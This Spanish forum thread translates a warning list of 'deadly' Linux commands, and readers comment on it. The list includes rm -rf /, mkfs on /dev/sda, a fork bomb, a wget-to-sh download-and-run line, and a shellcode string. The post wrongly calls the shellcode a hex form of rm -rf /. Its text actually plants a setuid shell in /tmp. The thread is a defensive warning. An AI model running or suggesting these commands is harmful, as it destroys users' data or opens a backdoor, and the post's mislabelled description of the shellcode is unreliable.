Leído originalmente en http://www.iguanalinux.com/gnulinux/7-comandos-mortales-en-linux/ y comentado en http://ubuntumexico.org/forum/viewtopic.php?showtopic=440
Esta es una traducción del interesante artículo “The 7 Deadly Linux Commands” (http://www.junauza.com/2008/11/7-deadly-linux-commands.html) publicado originalmente por Tech Source from Bohol.
Si eres nuevo en Linux, es probable que en algún momento te encuentres, en algún foro o una sala de chat, con una persona malintencionada y/o poco inteligente que pretenda jugarte una mala pasada para que utilices comandos que puedan dañar tus archivos o incluso arruinar todo tu sistema operativo. Para evitar que se te presente este peligroso escenario, he aquí una lista de comandos mortales en Linux que hay que evitar.
NÚMERO 1:
rm -rf /
Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.
NÚMERO 2:
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
Esta es la versión hexadecimal de rm -Rf /, con la cual podria engañarse incluso a usuarios linux mas experimentados.
NÚMERO 3:
# mkfs.ext3 /dev/sda
Reformateala partición/disco, liquidando todos los archivos del dispositivo mencionado despues del comando mkfs.
NÚMERO 4:
:(){:|:&};:
La ya conocida por muchos Bomba fork (http://www.kriptopolis.org/bombas-y-bombos). Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.
NÚMERO 5:
[cualquier_comando] > /dev/sda
Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.
NÚMERO 6:
wget http://[fuente_de_origen_inseguro] -O- | sh
Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. NUNCA HAGAS ESTO.
NÚMERO 7:
mv /home/tudirectoriodeusuario/* /dev/null
Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.
Amigos, si tienen idea de más comandos mortales, les ruego que lo hagan saber a través de este hilo. Gracias.
Comentarios
Que Barbaro. Oye, se
Que Barbaro. Oye, se agradece la nota ehh. en verdad que es muy necesario el tenerconocimiento de que cosas uno NO debe de hacer con el sistema y mas aun sabiendo de que la consola es el medio de entrada al mundo root.
Gracias en verdad.
Viewsonic 22", 8Gb de Ram Kingston, AMD Phenom X4, 2 multiquemadoras LG, 2 Nvidia Gforce 9600GT en SLI, 2 HDD de 250GB c/u, Gigabyte GA-M57SLI-S4, Case COSMOS de Cooler Master.
Viewsonic 22", 8Gb de Ram Kingston, AMD Phenom X4, 2 multiquemadoras LG, 2 Nvidia Gforce 9600GT en SLI, 2 HDD de 250GB c/u,Mainboard Gigabyte GA-M57SLI-S4, Case COSMOS de Cooler Master.
por eso linux es superior
por que con 1 simple linea de codigo puedes tumbar un sistema :D
no se lo que hago
no se lo que hago
¿y porqué existen esos
¿y porqué existen esos comandos y quién los crea?
¿es posible entonces que se creen virus también para linux con el tiempo, que afecten al sistema?
Yo tenía entendido que aunque hay poquísimos virus para linux, en realidad, "por la manera en que está diseñado el sistema por dentro" no se puede hacer mucho daño. Suponía que "todo lo que afecte al sistema" necesita la clave del administrador...
MI BLOG
Los comandos sólo pueden
Los comandos sólo pueden hacer aquello para lo que el usuario que los invoca tenga permiso. Por ejemplo, el número 7 puede borrar tus datos de usuario pero normalmente no podrá borrar archivos del sistema si no lo ejecutas como administrador.
Acuérdate, yosesito...
La mayoría de los errores de sistema residen en capa 8...
Te invito a:
http://fernando-eguia.hi5.com/
http://rincon-dibujante.webcindario.com/ (sitio en construcción)
Mi galería fotográfica:
http://fernando-eguia-mx.deviantart.com/gallery/
Nadie ha creado esos
Nadie ha creado esos comandos con el fin de hacer daño, cuando se diseño Unix/Linux nadie lo hizo pensando cosas como "Mua ha ha ha ha!! con estos comandos se podra destruir todo, hasta destruir el mundo!!!". Con comandos potentes puedes hacer muchas cosas, incluso romper el sistema (si es que no sabes lo que hacer, claro). El comando mv por ejemplo, hace algo tan util como mover archivos de un directorio a otro, el dispositivo /dev/null puede servir para cosas tan utiles como para disminuir las escrituras en disco (usandolo de manera apropiada, claro), ambas cosas no son peligrosas..... lo peligroso es hacer un mv y darle como destino /dev/null.
Asi que no se trata de ser paranoico al pensar que alguien creo esos comandos para hacer daño o crear virus. El microondas es un aparato que es muy util para calentar alimentos rapidamente, los gatos son animalitos muy tiernos que dicen "miau"...... si alguien con la mente recorcida mete al gato dentro del microondas, lo va a matar claro, pero eso no quiere decir que el microondas haya sido creado por alguna mente pervertida con el fin de rostizar a los gatos dentro de el :P
Y asi con tantas cosas, los cuchillos sirven para cortar cosas, pero tambien te pueden matar con un cuchillo, eso no quiere decir que los cuchillos se inventaron para matar a la gente.
Todas las cosas tienen su lado bueno, y su lado malo.
Comando mortal para liar la tercera guerra mundial
El comando mas infinitisisimamente mortal que conozco no pertenece a linux, no. Pertenece a la raza humana y se llama "No se que estoy haciendo, aunque me huelo que no es nada bueno y probablemente me perjudique... pero lo voy a hacer"
Ese comando que tenemos en la testa ha hecho cosas bastante peores que formatear discos.
Si usas el sentido comun y entras en foros de confianza como este todo eso te sobra.
Sentido comun... el mas comun que encuentres.
Se aceptan ideas. Razón aquí.
Se aceptan ideas. Razón aquí.
Yo creo que faltaron algunos
Yo creo que faltaron algunos mas, de los que mencionan arriba
como el
chown miusuario:miusuario /*
Este un amigo lo uso siendo root y le cambio el usuario y grupo a TODO la particion
Saludos!
Como el profeta le dijo al necio "Siempre hay ayeres, siempre hay mañanas, pero nunca hoyes!!!"
Como el profeta le dijo al necio "Siempre hay ayeres, siempre hay mañanas, pero nunca hoyes!!!"
Un solo comando que llevara un SO (no GNU) a su desaparicion
Como el profeta le dijo al necio "Siempre hay ayeres, siempre hay mañanas, pero nunca hoyes!!!"
Buenisima anotacion..
En un sistema operativo que no lo voy a nombrar porque no vale la pena, exite una extencion de archivos mortal, el famoso ".EXE", con un solo click, ¡¡¡ni si quiera se debe dijitar un comando!!, con eso puedes joderte la vida enserio, y como todos son terminan igual no sabes a que te arriesgas y para peor no puedes ver el codigo fuente!!!!!!!!!!!!!!!!!!
algunos por logica se entienden, pero... el 4 no lo conocia...
lo vi mencionado en un post del foro, hace tiempo, al que lo mencionaron como la bomba de linux... tuve curiosidad y estuve a punto de intentarlo... pero como ya se que por mi curiosidad muchas veces destrozo mi linux, decidí dejarlo para la siguiente ocasión que haga un backup de mi partición (sale MEJOR que solo hacer una lista de descargas de paquetes)
THANKS!!!
En Ubuntu desde el 2 de noviembre del 2007
Mi web (manuales, blog, fotos, etc): Shadow's System
SUERTE!!!
En Ubuntu desde el 2 de noviembre del 2007
Mi web (computadoras, soporte, etc): SolucionesC
Curiosidad?
Para eso instalate maquinas virtuales, y desde ahí...siiiiiii, usa la curiosidad...x lo menos yo hago eso...;)
Yo ago lo mismo, creo una
Yo ago lo mismo, creo una maquina virtual y hay pruebo, en una MV fue donde compile un codigo fuente por primera vez, y menudo desastre... Estan muy bien para aprender cosas y hacer chapuzas.
en el pc ponia : requiere windows vista o superior , por eso instale ubuntu
========================================
En el PC ponia: Requiere windows 10 o superior, por eso instale Debian
el problema es que tengo poco espacio para una nueva mv
pero tengo mas que suficiente en mi disco usb de respaldo... 320gb, 24gb para backup (copiar partición), de mi pc, 24gb para el backup (copiar partición), de la laptop, y el resto en xfs para /Respaldo (donde van TODOS mis archivos)...
en la lap y pc solo tengo 250gb en disco, y están casi llenos... :(
En Ubuntu desde el 2 de noviembre del 2007
Mi web (manuales, blog, fotos, etc): Shadow's System
SUERTE!!!
En Ubuntu desde el 2 de noviembre del 2007
Mi web (computadoras, soporte, etc): SolucionesC
Estoy probando los comandos
Estoy probando los comandos esos en una maquina virtual ubuntu 8.04, virtualizador VirtualBox , bajo ubuntu 8.04.sergio1
ss
--- rm -rf /
No se puede llevar a cabo, ni con sudo. Te da el mensaje
rm: no se puede eliminar el directorio raíz "/"
----mkfs.ext3 /dev/sda
mensaje de advertencia ¡/dev/sda esto el dispositivo, no sólo una partición!
¿continuar de todas formas? (s,n) s
mkfs.ext3: Permiso denegado mientras se intentaba determinar el tamaño del sistema de ficheros
usando el comando anterior con sudo
sudo mkfs.ext3 /dev/sda
/dev/sda esta aparentemente en uso por el sistema; ¡No se hará un sistema de ficheros aquí!
He reiniciado la máquina virtual , ubuntu 8.04, sin problemas.
De mortales tienen poco.
Igual, excepto el comando 6 que no lo e probado ninguno me a funcionado, en la malloria me decia que habia un "error de sintaxis", en el de rm -rf / me decia tambien que no se podia eliminar el directorio raiz. Los e probado en una MV, no creo que alla sido por eso. Pero bueno, de mortales la verdad es que tienen poco (al menos en apariencia).
PD: todos metiendo antes la orden "sudo".
en el pc ponia : requiere windows vista o superior , por eso instale ubuntu
========================================
En el PC ponia: Requiere windows 10 o superior, por eso instale Debian
Gracias por el post
YO llevo poco tiempo en esto de GNU/Linux y a veces me da miedo ejecutar cualquier comando en terminal.
Esto es muy util saber lo que nunca se debe hacer.
Gracias y saludos
Gracias
La verdad son comandos muy peligrosos teniendo en cuenta la confianza que hay en la comunidad, no se si soy muy romantico pero a mi se me hace dificil pensar en un ubuntero malvado por eso confio muchisimo en la comunidad y en ocasiones de afan he seguido tutoriales a ciegas, sin embargo son comandos algo evidentes. De todos modos lo que yo hago y lo que recomiendo es tener mucho cuidado con cualquier cosa que diga sudo o root, pues si estos comandos destruyen es porque uno mismo aptreto el boton. Por ultimo si hubiera estrellitas le daba 100 a DanielGT por el comentario del gatito en el microondas. A otra cosa alguien podria explicarnos por que el comando fork hace lo que hace; me quedo una duda malvada en la conciencia.
100 estrellas por matar al
100 estrellas por matar al gatito? xDDDDD
Hasta a mi me dio cosa :P
No, en serio, no vayan a pensar que soy yo el de la mente retorcida xD Solo quise poner un ejemplo que se entendiera de que es lo inofensivo y que es lo peligroso.
otro más
----------mv /home/transmeta/* /dev/null
/dev/null no es un directorio
ls > /dev/sda
Bash: /dev/sda : Permiso denegado
sudo ls > /dev/sda
Bash: /dev/sda : Permiso denegado
Sin querer use sudo rm -rf /
jajaja ahora me rio, por que es lo ultimo que me queda, pero aqui: http://juanjandred.blogspot.com/2010/01/errores-de-un-viernes-por-la-noc... comento mi mala suerte de no ser precavido y ejecutar ese comando, perdi todo pero sigo en pie con gnu/linux